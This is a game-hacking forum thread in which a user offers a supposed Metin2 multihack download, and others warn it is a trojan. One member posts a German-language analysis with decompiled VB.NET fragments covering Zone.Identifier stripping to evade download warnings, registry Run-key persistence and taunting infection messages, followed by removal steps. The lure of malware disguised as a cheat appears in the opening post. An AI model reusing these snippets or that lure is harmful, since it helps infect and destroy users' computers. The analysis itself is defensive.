[NEW] Metin2 multihack [Undetected]

[weakspider]

This is a hack that I found in other forum (I do not know if I can post the link...)

Features:
speed hack (fixed)
attack speed hack (fixed)
attack range hack
combo (fixed)
attack mode (fixed)
no fog hack
zoomhack
wallhack
flyhack
autolock
autopickup
mobonclick
removemap

Virus Scan:
Download:


*no credits for me

[AutoitScript]

Flyhack in Metin2?

[UnlogischesBrot]

Originally Posted by AutoitScript

Flyhack in Metin2?

Virus in Metin2?

[weakspider]

Originally Posted by AutoitScript

Flyhack in Metin2?

yeap :P, but client-sided only

[AutoitScript]

Please add a video, pictures and a scan with virustotal.

[weakspider]

Originally Posted by AutoitScript

Please add a video, pictures and a scan with virustotal.

I have already added scan with virus total.
I'll add video and pictures tomorrow... It's too late today

[UnlogischesBrot]

I think its not a Virus
but i dont want to try it..

[Flooyd9]

Don`t download this exe !!!

when you start this exe, your anti Vir Programm say that is an Troyaner !!

when you start the exe , he deletes himselfe !

[Metin2?WTF!]

Virus .. nicht downloaden / don't download

[jescruz]

Achtung alle das ist ein VIRUS nicht downloaden

[weakspider]

This is not virus... your antivirus might delete this beacause this is an injector. This works for me perfectly.

[Rocky27]

Danke für die Warnung wollt grad anklicken

[Baguazaum]

Originally Posted by Flooyd9

Don`t download this exe !!!

when you start this exe, your anti Vir Programm say that is an Troyaner !!

when you start the exe , he deletes himselfe !

if the file delete itself after execute, then its a trojan, or a keylogger

[Mi4uric3]

Ich mach mal eine genaue Analyse jungs..

#edit:
Ach genau der selbe scheiß wurde vor ein paar Tagen schon mal gepostet, vondaher ist die Analyse leicht.
Sehr billiger Trojaner in vb.net.
Er versucht alle Dateien in C:\Program Files zu löschen
Analyse:

Erstellt Ordner:

C:\GameRivel\

Erstellt Dateien:

Application.StartupPath & "\inst.bat
C:\GameRivel\reg.app

Eine bedeutende Sub:

 Spoiler

Private Sub DisableSecurity()
Dim process As New Process
process.StartInfo.Filename = "cmd"
process.Start
Dim standardOutput As StreamReader = process.StandardOutput
Dim standardInput As StreamWriter = process.StandardInput
standardInput.WriteLine(("cd " & executablePath))
standardInput.WriteLine(("FOR /R %I IN (*" & str & "*) DO > %I:Zone.Identifier ECHO."))
standardInput.WriteLine("exit")
standardInput.Close
standardOutput.Close
End Sub

Interessant sind auch folgende MessageBoxen:

 Spoiler

MsgBox("You are infected by WeakSpider's virus! You have 1 hour before the comlete infection!" & ChrW(13) & ChrW(10) & "*note: do not close/restart yout computer or the infection will be completed erlier*", MsgBoxStyle.Critical, "GO FUCK YOU RETARD")

MsgBox("Total infection complete! Say goodbye to your computer!", MsgBoxStyle.Critical, "ASSHOLE")

Erstellt AutoStart

 Spoiler

Public Sub RunAtStartup(ByVal ApplicationName As String, ByVal ApplicationPath As String)
Dim key2 As RegistryKey = Registry.LocalMachine.CreateSubKey("SOFTWARE\Micro soft\Windows\CurrentVersion\Run")
key2.OpenSubKey("SOFTWARE\Microsoft\Windows\Curren tVersion\Run", True)
key2.SetValue(ApplicationName, ApplicationPath)
key2 = Nothing
End Sub

How to delete

Einfach den Ordner C:\GameRivel\ löschen, und AutoStart in der Registry entfernen.

[ˏ˖→»[ற4ЯCø]«←˖ˏ™]

Originally Posted by AutoitScript

Flyhack in Metin2?

ja es gibt flyhack in mt2.
Das is aber voll blöd denn du sihst die map ncith du bist unter der map.
Und logischerweise wir man da ja gekickt also is flyhack kacke.